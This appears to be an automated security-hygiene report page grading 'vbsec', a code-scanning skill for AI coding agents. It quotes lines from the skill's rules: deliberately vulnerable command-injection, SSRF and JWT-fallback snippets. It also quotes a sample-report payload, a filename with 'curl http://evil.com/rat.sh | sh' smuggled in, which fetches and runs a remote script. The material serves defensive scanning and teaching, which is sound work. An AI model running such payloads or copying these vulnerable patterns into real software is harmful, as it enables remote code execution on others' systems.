Claude Code, Skill
vbsec
Security scanning skill for Claude Code, Codex and Antigravity.
Compatibility: Not stated.
Grade C
One Medium finding. Read the findings before installing.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
Rescanned at commit 1b86c27936d3, unchanged since the check below.
INSTALL_REMOTE_SCRIPT
Why this grade
- INSTALL_REMOTE_SCRIPT Medium
Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).
docs/en/usage.md, line 360
curl -fsSL https://claude.ai/install.sh | bash
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Note
requests shell access. The manifest names this permission.
PERMISSION_SHELL_DECLARED
skills/antigravity/vbs-scan-security/rules/generic/18-missing-rate-limit.md, line 156
subprocess.run(f"ping -c 1 {host}", shell=True)
skills/antigravity/vbs-scan-security/rules/generic/21-command-injection.md, line 110
os.system(f"convert /tmp/{fname} /out/{fname}.png")
skills/antigravity/vbs-scan-security/rules/generic/21-command-injection.md, line 116
subprocess.run(f"ffmpeg -i {user_url} out.mp4", shell=True)
Show more
skills/antigravity/vbs-scan-security/rules/generic/21-command-injection.md, line 135
echo shell_exec("ping -c 4 " . $ip); // ?ip=1.1.1.1;whoami
skills/antigravity/vbs-scan-security/rules/generic/21-command-injection.md, line 141
cmd := exec.Command("sh", "-c", "echo "+r.URL.Query().Get("name"))
skills/antigravity/vbs-scan-security/rules/generic/21-command-injection.md, line 155
subprocess.run(["convert", user_file, "out.png"], check=True)
skills/antigravity/vbs-scan-security/rules/generic/21-command-injection.md, line 171
echo shell_exec("ping -c 4 " . $ip); // wrapped in single-quote
skills/antigravity/vbs-scan-security/rules/generic/21-command-injection.md, line 177
cmd := exec.Command("ping", "-c", "4", host) // host là argv[3], không phải shell string
Install and update
Serious
install fetches a script from the network. The docs document an installer that pipes a download into a shell.
INSTALL_REMOTE_SCRIPT INSTALL_DOCUMENTED_INSTALLER
docs/en/usage.md, line 360
curl -fsSL https://claude.ai/install.sh | bash
docs/examples/sample-report.md, line 217
{ "file": "a.png; curl http://evil.com/rat.sh | sh #" }
docs/examples/sample-report.md, line 219
2. Shell runs: `convert uploads/a.png; curl http://evil.com/rat.sh | sh # -resize 200x200 thumbs/...`
Show more
docs/vi/usage.md, line 360
curl -fsSL https://claude.ai/install.sh | bash
Network
Concern
can reach api.osv.dev. The description does not name that host. can reach a host that is not written as a fixed address. can reach api.stripe.com. The description does not name that host.
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST
skills/antigravity/vbs-scan-security/references/dependency-scan.md, line 30
curl -s -X POST https://api.osv.dev/v1/querybatch \
skills/antigravity/vbs-scan-security/references/dependency-scan.md, line 51
curl -s https://api.osv.dev/v1/vulns/GHSA-5crp-9r3c-p9vr
skills/antigravity/vbs-scan-security/rules/generic/09-ssrf.md, line 99
const r = await fetch(req.body.url); // L1 → SSRF
Show more
skills/antigravity/vbs-scan-security/rules/generic/09-ssrf.md, line 110
r = requests.get(url)
skills/antigravity/vbs-scan-security/rules/generic/09-ssrf.md, line 124
const tokenInfo = await axios.get(req.body.introspect_url); // attacker control URL
skills/antigravity/vbs-scan-security/rules/generic/09-ssrf.md, line 137
const r = await fetch(u);
skills/antigravity/vbs-scan-security/rules/generic/09-ssrf.md, line 165
await fetch("https://api.stripe.com/v1/charges", { ... });
skills/antigravity/vbs-scan-security/rules/generic/09-ssrf.md, line 186
fetch(url, { redirect: "manual" });
Secrets
Concern
reads a credential or environment file.
SECRETS_ENV_READ SECRETS_PATH_DOTENV
skills/antigravity/vbs-scan-security/references/chunking-strategy.md, line 55
├── Dockerfile, .env* ← chunk "config"
skills/antigravity/vbs-scan-security/references/output-format.md, line 58
| 2 | `.env:1` | HARDCODED-SECRET |
skills/antigravity/vbs-scan-security/references/output-format.md, line 97
### 🔴 [2] CRITICAL - HARDCODED-SECRET tại `.env:1`
Show more
skills/antigravity/vbs-scan-security/references/output-format.md, line 103
tìm secret lộ. Khi bạn `git push` file `.env`, trong vài giây-vài phút bot tìm thấy
skills/antigravity/vbs-scan-security/references/output-format.md, line 117
# .env (committed to git)
skills/antigravity/vbs-scan-security/references/output-format.md, line 125
# 2. Xoá .env khỏi git history:
skills/antigravity/vbs-scan-security/references/output-format.md, line 126
git rm --cached .env
skills/antigravity/vbs-scan-security/references/output-format.md, line 127
echo ".env" >> .gitignore
skills/antigravity/vbs-scan-security/rules/generic/01-hardcoded-secret.md, line 114
const apiKey = process.env.OPENAI_KEY || "your-key-here";
skills/antigravity/vbs-scan-security/rules/generic/11-csrf.md, line 101
app.use(session({ secret: process.env.SESSION_SECRET, cookie: { httpOnly: true } }));
skills/antigravity/vbs-scan-security/rules/generic/11-csrf.md, line 176
const { doubleCsrfProtection, generateToken } = doubleCsrf({ getSecret: () => process.env.CSRF_SECRET });
skills/antigravity/vbs-scan-security/rules/generic/14-jwt-none-algorithm.md, line 87
const payload = jwt.verify(token, process.env.JWT_SECRET, {
skills/antigravity/vbs-scan-security/rules/generic/14-jwt-none-algorithm.md, line 105
JWT_SECRET = os.environ.get('JWT_SECRET', 'secret') # fallback "secret"
skills/antigravity/vbs-scan-security/rules/generic/14-jwt-none-algorithm.md, line 120
const payload = jwt.verify(token, process.env.JWT_SECRET, {
skills/antigravity/vbs-scan-security/rules/languages/python/14-jwt-none-algorithm.md, line 110
JWT_SECRET = os.environ.get('JWT_SECRET', 'secret') # nếu prod thiếu env → fallback
skills/antigravity/vbs-scan-security/rules/languages/typescript/11-csrf.md, line 175
secret: process.env.SESSION_SECRET!,
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Concern
contains an encoded blob in a file that should be readable.
OBFUSCATION_ENCODED_BLOB
README.md, line 152
[.
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit 1b86c27936d3. requests shell access. The manifest names this permission. install fetches a script from the network. The docs document an installer that pipes a download into a shell. can reach api.osv.dev. The description does not name that host. can reach a host that is not written as a fixed address. can reach api.stripe.com. The description does not name that host. reads a credential or environment file. contains an encoded blob in a file that should be readable.
Date and source
Date checked:
github.com
Commit graded: 1b86c27936d350d1a9ca67f044341262d4219d4e
This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.